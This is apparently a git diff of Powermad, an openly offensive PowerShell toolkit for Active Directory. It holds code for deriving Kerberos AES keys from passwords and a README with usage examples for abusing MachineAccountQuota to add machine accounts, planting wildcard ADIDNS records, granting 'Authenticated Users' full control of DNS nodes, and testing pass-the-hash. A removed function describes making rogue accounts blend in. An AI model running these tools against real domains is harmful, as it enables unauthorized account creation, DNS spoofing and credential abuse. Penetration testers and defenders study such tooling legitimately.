if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +#endregion + +#region begin Miscellaneous Functions + +function Get-KerberosAESKey +{ + <# + .SYNOPSIS + Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The + results have been verified against the test values in RFC3962, MS-KILE, and my own test lab. + + https://tools.ietf.org/html/rfc3962 + https://msdn.microsoft.com/library/cc233855.aspx + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Password + [String] Valid password. + + .PARAMETER Salt + [String] Concatenated string containing the realm and username/hostname. + AD username format = uppercase realm + case sensitive username (e.g., TEST.LOCALusername, TEST.LOCALAdministrator) + AD hostname format = uppercase realm + the word host + lowercase hostname without the trailing '$' + . + lowercase + realm (e.g., TEST.LOCALhostwks1.test.local) + + .PARAMETER Iteration + [Integer] Default = 4096: Int value representing how many iterations of PBKDF2 will be performed. AD uses the + default of 4096. + + .PARAMETER OutputType + [String] Default = AES: (AES,AES128,AES256,AES128ByteArray,AES256ByteArray) AES, AES128, and AES256 will output strings. + AES128Byte and AES256Byte will output byte arrays. + + .EXAMPLE + Get-KerberosAESKey -Password password -Salt ATHENA.MIT.EDUraeburn -Iteration 1 + Verify results against first RFC3962 sample test vectors in section B. + + .EXAMPLE + Get-KerberosAESKey -Salt TEST.LOCALuser + Generate keys for a valid AD user. + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$true)][String]$Salt, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][ValidateSet("AES","AES128","AES256","AES128ByteArray","AES256ByteArray")][String]$OutputType = "AES", + [parameter(Mandatory=$false)][Int]$Iteration=4096 + ) + + if(!$Password) + { + $password = Read-Host -Prompt "Enter password" -AsSecureString + } + + $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) + $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) + + [Byte[]]$password_bytes = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext) + [Byte[]]$salt_bytes = [System.Text.Encoding]::UTF8.GetBytes($Salt) + $AES256_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4 + $AES128_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93 + $IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_bytes,$salt_bytes,$iteration) + $PBKDF2_AES256_key = $PBKDF2.GetBytes(32) + $PBKDF2_AES128_key = $PBKDF2_AES256_key[0..15] + $PBKDF2_AES256_key_string = ([System.BitConverter]::ToString($PBKDF2_AES256_key)) -replace "-","" + $PBKDF2_AES128_key_string = ([System.BitConverter]::ToString($PBKDF2_AES128_key)) -replace "-","" + Write-Verbose "PBKDF2 AES128 Key: $PBKDF2_AES128_key_string" + Write-Verbose "PBKDF2 AES256 Key: $PBKDF2_AES256_key_string" + $AES = New-Object "System.Security.Cryptography.AesManaged" + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.Padding = [System.Security.Cryptography.PaddingMode]::None + $AES.IV = $IV + # AES 256 + $AES.KeySize = 256 + $AES.Key = $PBKDF2_AES256_key + $AES_encryptor = $AES.CreateEncryptor() + $AES256_key_part_1 = $AES_encryptor.TransformFinalBlock($AES256_constant,0,$AES256_constant.Length) + $AES256_key_part_2 = $AES_encryptor.TransformFinalBlock($AES256_key_part_1,0,$AES256_key_part_1.Length) + $AES256_key = $AES256_key_part_1[0..15] + $AES256_key_part_2[0..15] + $AES256_key_string = ([System.BitConverter]::ToString($AES256_key)) -replace "-","" + # AES 128 + $AES.KeySize = 128 + $AES.Key = $PBKDF2_AES128_key + $AES_encryptor = $AES.CreateEncryptor() + $AES128_key = $AES_encryptor.TransformFinalBlock($AES128_constant,0,$AES128_constant.Length) + $AES128_key_string = ([System.BitConverter]::ToString($AES128_key)) -replace "-","" + Remove-Variable password_cleartext + + switch($OutputType) + { + + 'AES' + { + Write-Output "AES128 Key: $AES128_key_string" + Write-Output "AES256 Key: $AES256_key_string" + } + + 'AES128' + { + Write-Output "$AES128_key_string" + } + + 'AES256' + { + Write-Output "$AES256_key_string" + } + + 'AES128ByteArray' + { + Write-Output $AES128_key + } + + 'AES256ByteArray' + { + Write-Output $AES256_key + } + + } + +} + +#endregion
\ No newline at end of file diff --git a/Powermad.psd1 b/Powermad.psd1 Binary files differindex df1ba34..2bfe1f5 100644 --- a/Powermad.psd1 +++ b/Powermad.psd1 diff --git a/Powermad.psm1 b/Powermad.psm1 index 2dd5646..80388c1 100644 --- a/Powermad.psm1 +++ b/Powermad.psm1 @@ -1,12 +1,8 @@ <# .SYNOPSIS -Powermad - Offensive PowerShell misfit tools +Powermad - PowerShell MachineAccountQuota and DNS exploit tools .LINK https://github.com/Kevin-Robertson/Powermad #> -Import-Module $PWD\Invoke-DNSUpdate.ps1 -Import-Module $PWD\New-MachineAccount.ps1 -Import-Module $PWD\Disable-MachineAccount.ps1 -Import-Module $PWD\Set-MachineAccountAttribute.ps1 -Import-Module $PWD\Get-MachineAccountAttribute.ps1 -Import-Module $PWD\Get-KerberosAESKey.ps1
\ No newline at end of file +Import-Module $PWD\Powermad.ps1 +Import-Module $PWD\Invoke-DNSUpdate.ps1
\ No newline at end of file @@ -1,31 +1,58 @@ -# **Powermad** +# **Powermad - PowerShell MachineAccountQuota and DNS exploit tools** -Repo for PowerShell tools that don’t fit my other projects. +## Wiki +* https://github.com/Kevin-Robertson/Powermad/wiki -## Invoke-DNSUpdate +## Functions +* [MachineAccountQuota Functions](#machineaccountquota-functions) +* [DNS Functions](#dns-functions) +* [Dynamic Updates Functions](#dynamic-updates-functions) +* [ADIDNS Functions](#adidns-functions) +* [Miscellaneous Functions](#miscellaneous-functions) -This function can be used to add/delete dynamic DNS records if the default setting of enabled secure dynamic updates is configured on a domain controller. A, AAAA, CNAME, MX, PTR, SRV, and TXT records are currently supported. Invoke-DNSUpdate is modeled after BIND`s nsupdate tool when using the '-g' or 'gsstsig' options. +## MachineAccountQuota Functions -An account/session with permission to perform secure dynamic updates is required. By default, authenticated users have the 'Create all child objects' permission on the Active Directory-integrated zone. Most records that do not currently exist in an AD zone can be added/deleted. Limitations for authenticated users can include things like being prevented from adding SRV records that interfere with the AD Kerberos records. Older existing dynamic records can sometimes be hijacked. Note that wpad and isatap are on a block list by default starting with Server 2008. You can add wpad and isatap if they don't exist. They just won’t work if blocked. See @mubix’s post for more details on the block list: +The default Active Directory ms-DS-MachineAccountQuota attribute setting allows all domain users to add up to 10 machine accounts to a domain. Powermad includes a set of functions for exploiting ms-DS-MachineAccountQuota without attaching an actual system to AD. -* https://room362.com/post/2016/wpad-persistence/ +### Get-MachineAccountAttribute -This function supports only GSS-TSIG through Kerberos AES256-CTS-HMAC-SHA1-96 using two separate methods. By default, the function will have Windows perform all Kerberos steps up until the AP-REQ is sent to DNS on the DC. This method will work with either the current session context or with specified credentials. The second method performs Kerberos authentication using just PowerShell code over a TCPClient connection. This method will accept a password or AES256 hash and will not place any tickets in the client side cache. +This function can return values populated in a machine account attribute. -##### Examples: +##### Example: -* Add an A record -`Invoke-DNSUpdate -DNSType A -DNSName www.test.local -DNSData 192.168.100.125` +* Get a the value of 'description' from a machine account names 'test'. +`Get-MachineAccountAttribute -MachineAccount test -Attribute discription` -* Delete an A record -`Invoke-DNSUpdate -DNSType A -DNSName www.test.local` +### Get-MachineAccountCreator -* Add an SRV record -`Invoke-DNSUpdate -DNSType SRV -DNSName _autodiscover._tcp.test.local -DNSData system.test.local -DNSPriority 100 -DNSWeight 80 -DNSPort 443` +This function leverages the ms-DS-CreatorSID property on machine accounts to return a list of usernames or SIDs and the associated machine account. The ms-DS-CreatorSID property is only populated when a machine account is created by an unprivileged user. + +##### Example: + +* Get a list of all populated ms-DS-CreatorSID attributes. +`Get-MachineAccountCreator` + +### Disable-MachineAccount + +This function can disable a machine account that was added through New-MachineAccount. This function should be used with the same user that created the machine account. + +##### Example: -## New-MachineAccount +* Disable a machine account named test. +`Disable-MachineAccount -MachineAccount test` -This function can leverage the default ms-DS-MachineAccountQuota attribute setting which allows all domain users to add up to 10 computers to a domain. The new machine account is added directly through an LDAP add request to a domain controller and not by impacting the host system’s attachment status to Active Directory. +### Enable-MachineAccount + +This function can enable a machine account that was disabled through Disable-MachineAccount. This function should be used with the same user that created the machine account. + +##### Example: + +* Enable a machine account named test. +`Enable-MachineAccount -MachineAccount test` + +### New-MachineAccount + +This function can can add a new machine account directly through an LDAP add request to a domain controller and not by impacting the host system’s attachment status to Active Directory. The LDAP add request is modeled after the add request used when joining a system to a domain. The following (mostly validated by the DC) attributes are set: @@ -36,7 +63,7 @@ The LDAP add request is modeled after the add request used when joining a system * ServicePrincipalName = 2 HOST and 2 RestrictedKrbHost SPNs using both the FQDN and account name * unicodePwd = the specified password -A new machine account can be used for tasks such as leveraging privilege provided to the ‘Domain Computers’ group or as an additional account for domain enumeration. By default, machine accounts do not have logon locally permission. You can either use tools/clients that accept network credentials directly or through the use of ‘runsas /netonly’ or @harmj0y’s Invoke-UserImpersonation/Invoke-RevertToSelf included with PowerView. +A new machine account can be used for tasks such as leveraging privilege provided to the ‘Domain Computers’ group or as an additional account for domain enumeration, DNS exploits, etc. By default, machine accounts do not have logon locally permission. You can either use tools/clients that accept network credentials directly or through the use of ‘runsas /netonly’ or @harmj0y’s Invoke-UserImpersonation/Invoke-RevertToSelf included with PowerView. * https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon @@ -47,16 +74,21 @@ Note that ms-DS-MachineAccountQuota does not provide the ability for authenticat ##### Examples: * Add a new machine account -`New-MachineAccount -MachineAccount iamapc` +`New-MachineAccount -MachineAccount test` * Use the added account with runas /netonly -`runas /netonly /user:domain\iamapc$ powershell` +`runas /netonly /user:domain\test$ powershell` + +### Remove-MachineAccount -## Disable-MachineAccount +This function removes a machine account with a privileged account. -This function can disable a machine account that was added through New-MachineAccount. This function should be used with the same user that created the machine account. +##### Example: -## Set-MachineAccountAttribute +* Remove a machine account named test with domain admin credentials +`Remove-MachineAccount -MachineAccount test -Credential $domainadmin` + +### Set-MachineAccountAttribute This function can populate some attributes for an account that was added through New-MachineAccount, if a user has write access. This function should be used with the same user that created the machine account. @@ -75,16 +107,171 @@ Here is a list of some of the usual write access enabled attributes: ##### Examples: -* Remove the trailing '$' from the SamAccountName attribute -`Set-MachineAccountAttribute -MachineName iamapc -Attribute SamAccountName -Value iamapc` +* Remove the trailing '$' from the SamAccountName attribute +`Set-MachineAccountAttribute -MachineName test -Attribute SamAccountName -Value test` * Use the modified account with runas /netonly -`runas /netonly /user:domain\iamapc powershell` +`runas /netonly /user:domain\test powershell` + +## DNS Functions + +By default, authenticated users have the 'Create all child objects' permission on the Active Directory-Integrated DNS (ADIDNS) zone. Most records that do not currently exist in an AD zone can be added/deleted. + +## Dynamic Updates Functions + +### Invoke-DNSUpdate + +This function can be used to add/delete dynamic DNS records if the default setting of enabled secure dynamic updates is configured on a domain controller. A, AAAA, CNAME, MX, PTR, SRV, and TXT records are currently supported. Invoke-DNSUpdate is modeled after BIND`s nsupdate tool when using the '-g' or 'gsstsig' options. + +##### Examples: + +* Add an A record +`Invoke-DNSUpdate -DNSType A -DNSName www -DNSData 192.168.100.125` + +* Delete an A record +`Invoke-DNSUpdate -DNSType A -DNSName www.test.local` + +* Add an SRV record +`Invoke-DNSUpdate -DNSType SRV -DNSName _autodiscover._tcp.test.local -DNSData system.test.local -DNSPriority 100 -DNSWeight 80 -DNSPort 443` + +## ADIDNS Functions + +### Disable-ADIDNSNode + +This function can tombstone an ADIDNS node. + +##### Example: + +*Tombstone a wildcard record. +`Disable-ADIDNSNode -Node * + +### Enable-ADIDNSNode + +This function can turn a tombstoned node back into a valid record. + +##### Example: + +* Enable a wildcard record. +`Enable-ADIDNSNode -Node *` + +### Get-ADIDNSNodeAttribute + +This function can return values populated in an DNS node attribute. + +##### Example: + +* Get the value populated dnsRecord attribute of a node named test. +`Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord` -## Get-MachineAccountAttribute +### Get-ADIDNSNodeOwner -This function can return values populated in machine account attributes. +This function can returns the owner of an ADIDNS Node. + +##### Example: + +* Get the owner of a node named test. +`Get-ADIDNSNodeOwner -Node test` + +### Get-ADIDNSPermission + +This function gets a DACL of an ADIDNS node or zone. + +##### Examples: +* Get the DACL for the default Active Directory-Integrated Zone from a domain attached system. +`Get-ADIDNSPermission` + +* Get the DACL for an DNS node named test from a domain attached system. +`Get-ADIDNSPermission -Node test` + +### Grant-ADIDNSPermission + +This function adds an ACE to an DNS node or zone DACL. + +##### Example: + +* Add full access to a wildcard record for "Authenticated Users". +* Add full access to a wildcard record for "Authenticated Users". +`Grant-ADIDNSPermission -Node * -Principal "authenticated users"` + +### New-ADIDNSNode + +This function adds an DNS node to an Active Directory-Integrated DNS (ADIDNS) Zone through an encrypted LDAP add request. + +##### Example: + +* Add a wildcard record to a ADIDNS zone and tombstones the node. +`New-ADIDNSNode -Node * -Tombstone` + +### New-DNSRecordArray + +This function creates a valid byte array for the dnsRecord attribute. + +##### Example: + +* Create a dnsRecord array for an A record pointing to 192.168.0.1. +`New-DNSRecordArray -DNSType A -DNSData 192.168.0.1` + +### New-SOASerialNumberArray + +This function gets the current SOA serial number for a DNS zone and increments it by the set amount. + +##### Example: + +* Generate a byte array from the currect SOA serial number incremented by one. +`New-SOASerialNumberArray` + +### Rename-ADIDNSNode + +This function can rename an DNS node. + +##### Example: + +* Renames an DNS node named test to test2. +`Rename-ADIDNSNode -Node test -NodeNew test2` + +### Remove-ADIDNSNode + +This function can remove an DNS node. + +##### Example: + +* Removes a a wildcard node. +`Remove-ADIDNSNode -Node *` + +### Revoke-ADIDNSPermission + +This function removes an ACE to an DNS node or zone DACL. + +##### Example: + +* Remove the GenericAll ACE associated with the user1 account. +`Revoke-ADIDNSPermission -Node * -Principal user1 -Access GenericAll` + +### Set-ADIDNSNodeAttribute + +This function can append, populate, or overwite values in an DNS node attribute. + +##### Example: + +* Set the writable description attribute on a node named test. +`Set-ADIDNSNodeAttribute -Node test -Attribute description -Value "do not delete"` + +### Set-ADIDNSNodeOwner + +This function can sets the owner of an DNS Node. Note that a token with SeRestorePrivilege is required. + +##### Example: + +* Set the owner of a node named test to user1. +`Set-ADIDNSNodeOwner -Node test -Principal user1` + +# Miscellaneous Functions ## Get-KerberosAESKey -This function can generate Kerberos AES 256 and 128 keys from a known username and password.
\ No newline at end of file +This function can generate Kerberos AES 256 and 128 keys from a known username and password. This can be used to test pass the hash in invoke-DNSUpdate. + +##### Example: + +* Generate keys for a valid AD user named user@test.local. +`Get-KerberosAESKey -Salt TEST.LOCALuser` diff --git a/Set-MachineAccountAttribute.ps1 b/Set-MachineAccountAttribute.ps1 deleted file mode 100644 index 1e5ba74..0000000 --- a/Set-MachineAccountAttribute.ps1 +++ /dev/null @@ -1,109 +0,0 @@ -function Set-MachineAccountAttribute -{ - <# - .SYNOPSIS - This function can populate an attribute for an account that was added through New-MachineAccount. Write - access to the attribute is required. This function should be used with the same user that created the - machine account. - - .DESCRIPTION - The user account that creates a machine account is granted write access to some attributes. These attributes - can be leveraged to help an added machine account blend in better or change values that were restricted by - validation when the account was created. - - Here is a list of some of the usual write access enabled attributes: - - AccountDisabled - description - displayName - DnsHostName - ServicePrincipalName - userParameters - userAccountControl - msDS-AdditionalDnsHostName - msDS-AllowedToActOnBehalfOfOtherIdentity - SamAccountName - - Author: Kevin Robertson (@kevin_robertson) - License: BSD 3-Clause - - .PARAMETER DistinguishedName - Distinguished name for the computers OU. - - .PARAMETER Domain - The targeted domain. - - .PARAMETER MachineAccount - The username of the machine account that will be modified. - - .PARAMETER Attribute - The machine account attribute. - - .PARAMETER Value - The machine account attribute value. - - .EXAMPLE - Set-MachineAccountAttribute -MachineAccount payroll -Attribute description -Value "Payroll app server" - - .LINK - https://github.com/Kevin-Robertson/Powermad - #> - - [CmdletBinding()] - param - ( - [parameter(Mandatory=$false)][String]$DistinguishedName, - [parameter(Mandatory=$false)][String]$Domain, - [parameter(Mandatory=$true)][String]$MachineAccount, - [parameter(Mandatory=$true)][String]$Attribute, - [parameter(Mandatory=$true)]$Value - ) - - if($MachineAccount.EndsWith('$')) - { - $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) - } - else - { - $machine_account = $MachineAccount - } - - if(!$Domain) - { - $domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name - } - - if(!$DistinguishedName) - { - - $distinguished_name = "CN=$machine_account,CN=Computers" - - $DCArray = $Domain.Split(".") - - ForEach($DC in $DCArray) - { - $distinguished_name += ",DC=$DC" - } - - } - else - { - $distinguished_name = "$DistinguishedName" - } - - $account = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$distinguished_name" - - try - { - $account.InvokeSet($Attribute,$Value) - $account.SetInfo() - Write-Output "[+] $attribute updated" - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - Write-Output "[-] $error_message" - } - -}
\ No newline at end of file |